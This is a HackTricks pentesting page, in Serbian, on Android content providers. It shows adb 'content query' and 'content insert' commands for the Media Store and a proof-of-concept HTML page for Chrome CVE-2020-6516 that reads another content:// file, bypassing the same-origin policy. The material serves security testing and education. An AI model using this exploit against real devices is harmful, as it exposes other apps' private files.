hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md

6.1 KiB

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

{% embed url="https://websec.nl/" %}

Ovo je sažetak posta https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

Listing Files in Media Store

Za prikazivanje fajlova upravljanih od strane Media Store-a, može se koristiti sledeća komanda:

$ content query --uri content://media/external/file

Za korisnički prihvatljiviji izlaz, prikazujemo samo identifikator i putanju svake indeksirane datoteke:

$ content query --uri content://media/external/file --projection _id,_data

Content provajderi su izolovani u sopstvenom privatnom prostoru imena. Pristup provajderu zahteva određeni content:// URI. Informacije o putanjama za pristup provajderu mogu se dobiti iz manifesta aplikacije ili izvornog koda Android okvira.

Chrome-ov pristup provajderima sadržaja

Chrome na Androidu može pristupiti provajderima sadržaja putem šeme content://, omogućavajući mu pristup resursima poput fotografija ili dokumenata izvezenih od strane aplikacija trećih lica. Da bismo ilustrovali ovo, datoteka može biti ubačena u Media Store i zatim pristupljena putem Chrome-a:

Ubacite prilagođeni unos u Media Store:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Otkrijte identifikator novoubačene datoteke:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Fajl zatim može biti pregledan u Chrome-u koristeći URL konstruisan sa identifikatorom fajla.

Na primer, da biste videli listu fajlova koji se odnose na određenu aplikaciju:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Bypass pravila o istom poreklu

Same Origin Policy (SOP) je sigurnosni protokol u pregledačima koji ograničava web stranice da komuniciraju sa resursima sa različitih porekla, osim ako eksplicitno nije dozvoljeno politikom deljenja resursa sa različitog porekla (CORS). Ova politika ima za cilj da spreči curenje informacija i krivotvorenje zahteva sa drugih sajtova. Chrome smatra content:// lokalnom šemom, implicirajući strožija pravila SOP, gde se svaki URL lokalne šeme tretira kao zasebno poreklo.

Međutim, CVE-2020-6516 je bila ranjivost u Chrome-u koja je omogućila zaobilaženje pravila SOP za resurse učitane putem content:// URL-a. U suštini, JavaScript kod sa content:// URL-a mogao je pristupiti drugim resursima učitanim putem content:// URL-ova, što je predstavljalo značajan sigurnosni problem, posebno na Android uređajima koji koriste verzije pre Android 10, gde nije implementiran ograničeni prostor za skladištenje.

Dole navedeni dokaz koncepta demonstrira ovu ranjivost, gde HTML dokument, nakon što je otpremljen pod /sdcard i dodat u Media Store, koristi XMLHttpRequest u svom JavaScript-u da pristupi i prikaže sadržaj druge datoteke u Media Store-u, zaobilazeći pravila SOP.

Dokaz koncepta HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>

{% embed url="https://websec.nl/" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: